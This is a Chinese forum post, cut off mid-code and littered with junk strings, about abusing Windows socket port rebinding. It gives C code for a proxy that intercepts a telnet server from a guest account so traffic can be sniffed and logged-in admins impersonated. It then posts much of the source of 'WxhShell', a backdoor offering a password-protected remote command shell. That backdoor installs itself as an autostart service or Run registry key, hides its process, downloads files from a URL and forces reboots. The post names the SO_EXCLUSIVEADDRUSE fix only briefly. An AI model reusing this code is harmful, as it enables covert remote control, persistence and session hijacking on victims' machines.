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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6@?aVM~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G !1~i*P$u  
Ev+HWx~Y  
  saddr.sin_family = AF_INET; p]h*6nH>~  
`*" H/QG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (zs4#ja2,  
p2Dh3)&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < g3du~  
Tf#2"(!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mWli}j#  
~&DB!6*  
  这意味着什么?意味着可以进行如下的攻击: 0i5y(m&7  
bB:r]*_ s]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~MhgAC  
+HOCVqx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :WK"-v  
_(oP{w gB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vv2vW=\  
~_ u*\]-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  15xd~V?ai:  
MegE--h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =f4[=C$&`  
<G~} N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &2io^A P  
TvunjTpaj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m"gni #  
UCn*UX  
  #include r zMFof  
  #include Ew %{ i(d  
  #include %XP_\lu]  
  #include    D!bKm[T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n+{HNr  
  int main() ~K~b`|1  
  { qIbg 4uE  
  WORD wVersionRequested; K\{b!Cfr^  
  DWORD ret;  <+AIt  
  WSADATA wsaData; N5 SLF4R1  
  BOOL val; >~I xyQp  
  SOCKADDR_IN saddr; gppBFS  
  SOCKADDR_IN scaddr; bp]^EVx  
  int err; t&GA6ML#s  
  SOCKET s; 9VoDhsKk  
  SOCKET sc; YgE]d?_h  
  int caddsize; 4M @ oj  
  HANDLE mt; ]d@^i)2LF  
  DWORD tid;   4F05(R8k  
  wVersionRequested = MAKEWORD( 2, 2 ); Zm%VG(l  
  err = WSAStartup( wVersionRequested, &wsaData ); kmm  
  if ( err != 0 ) { E rop9T1  
  printf("error!WSAStartup failed!\n"); @br@[RpB  
  return -1; ?HrK\f3wWO  
  } lLuID  
  saddr.sin_family = AF_INET; ;^R A!Nj  
   .:}.b"%m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #ZG3|#Q=L  
};&HhBc!g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kOs(?=  
  saddr.sin_port = htons(23); '[Mlmgc5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #yW.o'S+  
  { YfE>Pn'r  
  printf("error!socket failed!\n"); L([E98fo  
  return -1; 9z5\*b s  
  } 3@^MvoC  
  val = TRUE; tHrK~|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }.0Bl&\UK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m7$8k@r  
  { wYZT D*A2h  
  printf("error!setsockopt failed!\n"); u~s Sk  
  return -1; iO!27y  
  } tIq>Oojdx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *)limqe3"$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?h/xAl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e8$l0gzaD  
drW~)6Lr@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KK?Zm_  
  { 9mam ~)_ |  
  ret=GetLastError(); exfm q  
  printf("error!bind failed!\n"); i 3m3zXt  
  return -1; gRBSt M&hU  
  } gks ==|s.  
  listen(s,2); bf& }8I$  
  while(1) _p\629`  
  { kmryu=  
  caddsize = sizeof(scaddr); =EQJqj1T  
  //接受连接请求 _|N}4a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3pvYi<<D'  
  if(sc!=INVALID_SOCKET) G+0><,S  
  { 9]"S:{KSCn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ac9qj  
  if(mt==NULL) M70c{s`w5  
  { 94\t1fE  
  printf("Thread Creat Failed!\n"); 2ck 4C/ h  
  break; pX@Si3G`  
  } m23+kj)+VY  
  } &J_Z~^   
  CloseHandle(mt); vu=me?m?(  
  } _w 5RK(  
  closesocket(s); g%ubvu2t]  
  WSACleanup(); Ab/j(xr=  
  return 0; [`d$X^<y;  
  }   p8Iw!HE  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7_-w_"X  
  { 0axxQ!Ivx  
  SOCKET ss = (SOCKET)lpParam; q#MM  
  SOCKET sc; !lAD q|$  
  unsigned char buf[4096]; (ab{F5  
  SOCKADDR_IN saddr; !BDUv(  
  long num; 2K;#Evn'j  
  DWORD val; Z1M>-[j)  
  DWORD ret; Frk cO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F!J J6d53y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X 7=fX~s  
  saddr.sin_family = AF_INET; 7|YN:7iA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @:Di`B_{  
  saddr.sin_port = htons(23); %%>_B2vc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D3`}4 A  
  { ;6ky5}z  
  printf("error!socket failed!\n"); ({4]  
  return -1;  9:5:`' b  
  } " Ya9~6  
  val = 100; 'Gjq/L/x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &rp!%]+xAM  
  { RPVT*`o  
  ret = GetLastError(); P"1 S$oc  
  return -1; [8"ojhdV  
  } oBA`|yW{U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D==Mb~  
  { FXV`9uq}Z  
  ret = GetLastError(); $J.T$0pFa  
  return -1; k@V#HC{t  
  } ,_D" ?o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h>alGLN>  
  { 'CXRG$D  
  printf("error!socket connect failed!\n"); %K(0W8&  
  closesocket(sc); 1j0-9Kg'  
  closesocket(ss); z>;$im   
  return -1; H6 &7\Wbk  
  } Gih[i\%Q  
  while(1) _tAQ=eBO  
  { &-%X:~|:X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P}V=*g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k;I  &.H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EATu KLP\  
  num = recv(ss,buf,4096,0); 3$VxRz)  
  if(num>0) ,LZX@'5  
  send(sc,buf,num,0); =p@8z /u  
  else if(num==0) ;Wc4qJ.@  
  break; (vc|7DX M  
  num = recv(sc,buf,4096,0);  iEIg:  
  if(num>0) 8!mc@$Z  
  send(ss,buf,num,0); I;7nb4]AmF  
  else if(num==0) 1tB[_$s  
  break; BByCM Y  
  } .R5y:O  
  closesocket(ss); 99=s4*xzM  
  closesocket(sc); 2 -Xdoxw  
  return 0 ; MgJ36zM  
  } $Z?\>K0i  
#?[.JD51l  
0:&ZnE}##  
========================================================== ~GJN@ka4%  
?m0IehI  
下边附上一个代码,,WXhSHELL [u M-0t  
}CDk9Xk  
========================================================== W0XF~  
Q7gY3flg  
#include "stdafx.h" 9!U@"~yB  
-?6MU~"GK  
#include <stdio.h> PXzT6)  
#include <string.h> !:CJPM6j3  
#include <windows.h> jN0k9O>  
#include <winsock2.h> %O%=rUD  
#include <winsvc.h> \}_Yd8  
#include <urlmon.h> s '?GH  
}LP!)|E  
#pragma comment (lib, "Ws2_32.lib") zf[`~g  
#pragma comment (lib, "urlmon.lib") 8FkFM^\1L  
a%BeqSZh  
#define MAX_USER   100 // 最大客户端连接数 -n5 B)uw=  
#define BUF_SOCK   200 // sock buffer }-@4vl x$  
#define KEY_BUFF   255 // 输入 buffer ' GG=Ebt  
G{9X)|d  
#define REBOOT     0   // 重启 !@A#=(4R4  
#define SHUTDOWN   1   // 关机 p?X02 >yA  
a l&(-#1  
#define DEF_PORT   5000 // 监听端口 QHt4",Ij  
`^9(Ot $  
#define REG_LEN     16   // 注册表键长度 _qXa=|}V.  
#define SVC_LEN     80   // NT服务名长度 xJs;v  
bEV<iZDq%  
// 从dll定义API Oco YV J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,8MLoZ _  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BZv+H=b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v"^~&q0x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oU6y4yO  
gEQNs\Jn L  
// wxhshell配置信息 ]bi)$j.9s  
struct WSCFG { F^k.is  
  int ws_port;         // 监听端口 SP]IUdE\  
  char ws_passstr[REG_LEN]; // 口令 DI|:p!Nx  
  int ws_autoins;       // 安装标记, 1=yes 0=no L,,*gK  
  char ws_regname[REG_LEN]; // 注册表键名 ]aryV?!6  
  char ws_svcname[REG_LEN]; // 服务名 JUAS$Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~z5R{;Nbz|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;Xvp6.:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b6(p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]iNEw9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -62'}%?A<C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eP.Vd7ky  
SJt<+kg  
}; 0c^>eq]  
X[gn+6WB%  
// default Wxhshell configuration L6Wt3U`l  
struct WSCFG wscfg={DEF_PORT, dsx]/49<  
    "xuhuanlingzhe", <"D=6jqZ  
    1, 9`//^8G:=  
    "Wxhshell",  ^YdcAHjK  
    "Wxhshell", Sn4[3JV$l  
            "WxhShell Service", )u]9193  
    "Wrsky Windows CmdShell Service", b1XRC`Gy  
    "Please Input Your Password: ", >gwz,{  
  1, 5}$b0<em~  
  "http://www.wrsky.com/wxhshell.exe", S [h];eM  
  "Wxhshell.exe" me6OPc;:!  
    }; cRd0S*QN2  
G$0c '9d*(  
// 消息定义模块 'J&f%kx"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +ISz?~8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h7*W *Bd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `Q3s4VEC  
char *msg_ws_ext="\n\rExit."; l!}:|N Yh!  
char *msg_ws_end="\n\rQuit."; v:Tzv^  
char *msg_ws_boot="\n\rReboot..."; U7uKRv9  
char *msg_ws_poff="\n\rShutdown..."; h_1T,f (  
char *msg_ws_down="\n\rSave to ";  c gzwx  
Ghl'nqPlm  
char *msg_ws_err="\n\rErr!"; g.c8FP+  
char *msg_ws_ok="\n\rOK!"; KDl_?9E5  
\)K^=jM  
char ExeFile[MAX_PATH]; I1oje0$  
int nUser = 0; #_Z$2L"U  
HANDLE handles[MAX_USER]; ?m$a6'2-,J  
int OsIsNt; / N) W2  
@';B_iQ  
SERVICE_STATUS       serviceStatus; 8t@p @Td|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "H -"  
bl_H4  
// 函数声明 y2]-&]&  
int Install(void); ydw)mT44K  
int Uninstall(void); >9RD_QG7  
int DownloadFile(char *sURL, SOCKET wsh); {u1V|q  
int Boot(int flag); 'XY`(3q  
void HideProc(void); [.RO'>2z  
int GetOsVer(void); .<tquswg  
int Wxhshell(SOCKET wsl); {-|{xBd  
void TalkWithClient(void *cs); )X9W y!w0  
int CmdShell(SOCKET sock); F:y[@Yn  
int StartFromService(void); F":r4`5D"K  
int StartWxhshell(LPSTR lpCmdLine); U9D!GKVp  
? (*t@ {k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &E xYXI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x+f2GA$  
"S 3wk=?4  
// 数据结构和表定义 V[-jD8=' 3  
SERVICE_TABLE_ENTRY DispatchTable[] = FnJ?C&xK  
{ dq[Mj5eC  
{wscfg.ws_svcname, NTServiceMain}, V=fEPM  
{NULL, NULL} <mi-}s  
}; p!k7C&]E  
b'6- dU%  
// 自我安装 \U|ZR  
int Install(void) xss`Y,5?  
{ !mWiYpbU+  
  char svExeFile[MAX_PATH]; x.8TRMk^  
  HKEY key; ` PYJ^I0  
  strcpy(svExeFile,ExeFile); f2,jh}4  
=K{\p`?  
// 如果是win9x系统,修改注册表设为自启动 cUTE$/#s  
if(!OsIsNt) { %QKZT=}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N3u((y/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "\0v,!@  
  RegCloseKey(key); 6JKqn~0Kk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PJcwH6m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8,0YD#x  
  RegCloseKey(key); Y&/]O$<  
  return 0; DjSbyXvrg  
    } 'v]u#/7a  
  } [<'-yQ{l\  
} Us+pc^A  
else { z<B8mB  
`--TP  
// 如果是NT以上系统,安装为系统服务 A^q[N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~z"= G5|  
if (schSCManager!=0) @6l%,N<fou  
{ _`64gS}^  
  SC_HANDLE schService = CreateService !"8fdSfg w  
  ( BD`2l!d  
  schSCManager, WVY\&|)$  
  wscfg.ws_svcname, ]E]2o  
  wscfg.ws_svcdisp, ]p_@@QTC  
  SERVICE_ALL_ACCESS, 5jUYN-$GO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i1S>yV^l  
  SERVICE_AUTO_START, +3KEzo1=)  
  SERVICE_ERROR_NORMAL, uYE`"/h,1e  
  svExeFile, ChCrL [2  
  NULL, 0ez(A  
  NULL, UQB "v3Z  
  NULL, a33TPoj  
  NULL, _/wV;h~R  
  NULL < yC  
  ); u|4$+ QiD  
  if (schService!=0) ;j4?>3  
  { nu'M 39{  
  CloseServiceHandle(schService); XS$OyW_Q  
  CloseServiceHandle(schSCManager); ?B :a|0pf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Ysx=  
  strcat(svExeFile,wscfg.ws_svcname); R'S0 zp6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hAHq\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 7ql5  
  RegCloseKey(key); Z!U)I-x&  
  return 0; M`ip~7"  
    } Yv:55+e!|  
  } J/}:x;Y  
  CloseServiceHandle(schSCManager); ~#kT _*sw)  
} QR1{ w'c  
} d> {nQF;c  
qL,tYJ<m%  
return 1; wC5ee:u C%  
} 1UKg=A-q  
F^hBtfz  
// 自我卸载 W"Gkq!3u{  
int Uninstall(void) w: >5=mfk  
{ Y-7^o@y  
  HKEY key; q7"7U=W0  
=2@B&  
if(!OsIsNt) { A'2w>8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a{[x4d,z  
  RegDeleteValue(key,wscfg.ws_regname); Me=CSQqf<  
  RegCloseKey(key);  Br` IW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tO0!5#-VR  
  RegDeleteValue(key,wscfg.ws_regname); [H=)  
  RegCloseKey(key); 4q<=K=F  
  return 0; P3oI2\)*i  
  } R+Y4|  
} e*L.U~ZR  
} .w]GWL  
else { g&`pgmUX  
fJ ,1Ef;Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j\m_o% 4  
if (schSCManager!=0) _)\c&.p]f  
{ s>^dxF!+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e [8LmuIZ  
  if (schService!=0) v'e[GB 0  
  { ;X?mmv'  
  if(DeleteService(schService)!=0) { clk[/'1  
  CloseServiceHandle(schService); ,mj@sC>  
  CloseServiceHandle(schSCManager); ~q~MoN<R  
  return 0; w+N> h;j  
  } aXL{TD:]  
  CloseServiceHandle(schService); {RF-sqce  
  } $ibuWb"a  
  CloseServiceHandle(schSCManager); Q9Q|lO  
} )HvnoUO0  
} d'Zqaaf k%  
'7oA< R  
return 1; ,u/aT5\_  
} xKFn.qFr  
7PkJ-JBA  
// 从指定url下载文件 Y*! qG  
int DownloadFile(char *sURL, SOCKET wsh) 2z|*xS'G  
{ &o<F7U'R  
  HRESULT hr; /r=tI)'$  
char seps[]= "/"; ~ {Mn{  
char *token; n(el]_d  
char *file; -Y='_4s  
char myURL[MAX_PATH]; Q_t`.jus  
char myFILE[MAX_PATH]; !tp1:'KG  
v;0|U:`]  
strcpy(myURL,sURL); +-G<c6 |  
  token=strtok(myURL,seps); wR^R M(1  
  while(token!=NULL) -e8}Pm "  
  { Hbpqyl%O>  
    file=token; /"B?1?qc,=  
  token=strtok(NULL,seps); 6qaulwV4t  
  } ndeebXw*  
46 PoM  
GetCurrentDirectory(MAX_PATH,myFILE); 0A( +ZMd  
strcat(myFILE, "\\"); =" g*\s?r  
strcat(myFILE, file); K#U<ib-v  
  send(wsh,myFILE,strlen(myFILE),0); T8HF|%I  
send(wsh,"...",3,0); Kh MSL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _N@ro  
  if(hr==S_OK) 2"B_At  
return 0; n+PzA[  
else 0D&t!$Ibf  
return 1; DS)RX.k_#  
a|?4 )  
} >hr{JJe  
WH= EPOR,  
// 系统电源模块 u&n' ITH  
int Boot(int flag) uh?>- ]r`  
{ BN4_:  
  HANDLE hToken; u07pq4Ly  
  TOKEN_PRIVILEGES tkp; WoBo9aR  
=X.9,$Y  
  if(OsIsNt) { nI*v820,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '60 L~`K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K5XK%Gl"  
    tkp.PrivilegeCount = 1; IhA*"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (e[}/hf6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8:/e GM  
if(flag==REBOOT) { /IM#.v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,j$Vvz   
  return 0; L\#<JxY$p  
} 9J?wO9rI  
else { TEaJG9RU>v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uNHF'?X  
  return 0; R>(@Z M&  
} 1Y]TA3:  
  } J52 o g4l  
  else {  0gfA#|'  
if(flag==REBOOT) { 7=DjI ~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y k5 }`d!:  
  return 0; 48*Do}l]  
} u6bXv(  
else { o!!yd8~*r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0eS)&GdR  
  return 0; 6#QK%[1!>  
} Qu]z)";7  
} 7K5P8N ,  
mD/MJt5  
return 1; 7Ddaf>  
} FGh] S-A  
k+DR]icv  
// win9x进程隐藏模块  $O dCL  
void HideProc(void) gR}35:$Z-  
{ uIDuGrt  
Xt'sQ}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~R@Nd~L  
  if ( hKernel != NULL ) )}_a 0bt  
  { XQ~Ke-QW)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \} ^E`b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [mPjP%{=@  
    FreeLibrary(hKernel); eR3$i)5  
  } R]i7 $}n  
DmOyBtj  
return; 'GL*u#h  
} U8G%YGMG.4  
PK4iuU`vh  
// 获取操作系统版本 ]TyisaT  
int GetOsVer(void) &JtV'@>v  
{ ^tCd L@$AS  
  OSVERSIONINFO winfo; ]C:l,I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <&:=z?30"  
  GetVersionEx(&winfo); h`H,a7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +fnK /%b  
  return 1; V.{H9n]IO  
  else ;jipe3LU  
  return 0; xQ'2BAEa  
} 4sP2g&  
w-0mzk"  
// 客户端句柄模块 q=9`06  
int Wxhshell(SOCKET wsl) zD?K>I=  
{ !eUDi(   
  SOCKET wsh; K/}rP[H  
  struct sockaddr_in client; bpxeznz  
  DWORD myID; H Tz  
`Ps:d^8*P  
  while(nUser<MAX_USER) m,t|IgDh  
{ gL3"Gg3  
  int nSize=sizeof(client); 5efpeu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nM0[P6p  
  if(wsh==INVALID_SOCKET) return 1; [u._q:A  
u@4V7;L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P(K>=O  
if(handles[nUser]==0) MXyaE~LK  
  closesocket(wsh); hsw9(D>jp  
else e A}%C.ZR  
  nUser++; O1`9Y}G(r  
  } ?Sb8@S&J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "hdvHUz  
~wVd$%7`  
  return 0; 9,^_<O@Q  
} Y!T %cTK)a  
}YHX-e<Yx]  
// 关闭 socket lbuAE%  
void CloseIt(SOCKET wsh) Y X_ gb/A  
{ v$ub~Q6W  
closesocket(wsh); @ G4X  
nUser--; %DQhM,c@  
ExitThread(0); 8zBWIi  
} 3ux0 Jr2yT  
:hI@AA>g  
// 客户端请求句柄 QzAK##9bfa  
void TalkWithClient(void *cs) =dx1/4bZl|  
{ !XzF67  
> z^#  
  SOCKET wsh=(SOCKET)cs; HdLH2+|P;D  
  char pwd[SVC_LEN]; <2nZ&M4/s{  
  char cmd[KEY_BUFF]; 2 6>ZW4Z  
char chr[1]; U. @*`Fg  
int i,j; ''kS*3  
=Z+nX0qF  
  while (nUser < MAX_USER) { Wn>@9"  
L =8+_0  
if(wscfg.ws_passstr) { ?Q72;/$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i:l<C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ":nQgV\ 9  
  //ZeroMemory(pwd,KEY_BUFF); $*W6A/%O  
      i=0; ~M(5Ho  
  while(i<SVC_LEN) { _fwb!T}$  
h/,${,}J  
  // 设置超时 JO@|*/mL  
  fd_set FdRead; LE%7DW(  
  struct timeval TimeOut; _H^^y$+1  
  FD_ZERO(&FdRead); SKW%X8  
  FD_SET(wsh,&FdRead); L-9~uM3@\  
  TimeOut.tv_sec=8; ys#i@  
  TimeOut.tv_usec=0; Y1arX^Zb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?}B:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z'k|u4ZC  
5H9r=a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C -?!S  
  pwd=chr[0]; :#lIx%l  
  if(chr[0]==0xd || chr[0]==0xa) { ${8?N:>t  
  pwd=0; 4Ua> Yw0  
  break; 1lpwZ"  
  } -&e92g&n   
  i++; [JaS??ig  
    } wlPx,UqZ  
@p|$/Z%R,  
  // 如果是非法用户,关闭 socket F]I=+T   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $.:mai  
} W k}AmC  
X.TI>90{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nJbbzQ,e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (S^8UV  
Ou>vX[{  
while(1) { )}L??|#  
BJS-Jy$-  
  ZeroMemory(cmd,KEY_BUFF); kHv[H]+v  
<s@-:;9~  
      // 自动支持客户端 telnet标准   O,.!2wVrN  
  j=0; I_q~*/<h  
  while(j<KEY_BUFF) { ')N{wSM9Ft  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A$WZF/x  
  cmd[j]=chr[0]; ~xIj F1Z  
  if(chr[0]==0xa || chr[0]==0xd) { Hp|}~xjn  
  cmd[j]=0; v0Ir#B,[H  
  break; ]p!Gt,rYq  
  } -TV?E%r  
  j++; cc44R|Kr$$  
    } O6].*25  
zT ZVehEe  
  // 下载文件 <A.W 8b7D  
  if(strstr(cmd,"http://")) { 1JEnnqu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wdvLx  
  if(DownloadFile(cmd,wsh)) "3F;cCDv]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD=!&LM  
  else #pHs@uvO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _U{&@}3  
  } ,Os? f:Y6  
  else { IooNb:(  
n& $^04+i  
    switch(cmd[0]) { !JBae2Z  
  {5|("0[F  
  // 帮助 |([R'Orm  
  case '?': { gip/(/NX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |~<N -~.C  
    break; rbZ[!LA  
  } yE} dj)wd  
  // 安装 5yVkb*8HS  
  case 'i': { V|>oGtt7  
    if(Install()) H7[6yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tM j1~ R  
    else Ay{t254/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7P7b8 ]  
    break; g-vg6@6  
    } ; "3+YTtp  
  // 卸载 ~ np,_yI  
  case 'r': { nNmsr=y5  
    if(Uninstall()) =IKEb#R/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  oK 9'  
    else Pj?Dmk~   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  st 'D  
    break; gf)t)-E  
    } j 6ut}Uq  
  // 显示 wxhshell 所在路径 jKIc09H|  
  case 'p': { 4Tct  
    char svExeFile[MAX_PATH]; V|MY!uV  
    strcpy(svExeFile,"\n\r"); ZlKw_Sq:  
      strcat(svExeFile,ExeFile); W9zE{)Sc~  
        send(wsh,svExeFile,strlen(svExeFile),0); 9F;S+)H4  
    break; q|)Q9+6$+  
    } ]+H ?@*b`  
  // 重启 9tg)Mo%  
  case 'b': { VzlDHpG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K^t?gt@k}  
    if(Boot(REBOOT)) rgcWRt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <f~Fl^^8  
    else { Bf4%G,o5  
    closesocket(wsh); a1N!mQ^  
    ExitThread(0); Wd(86idnc  
    } }vt%R.u  
    break; v0l_w  
    } $WW)bP d4^  
  // 关机 D';eTy Y  
  case 'd': { #:ns64|  
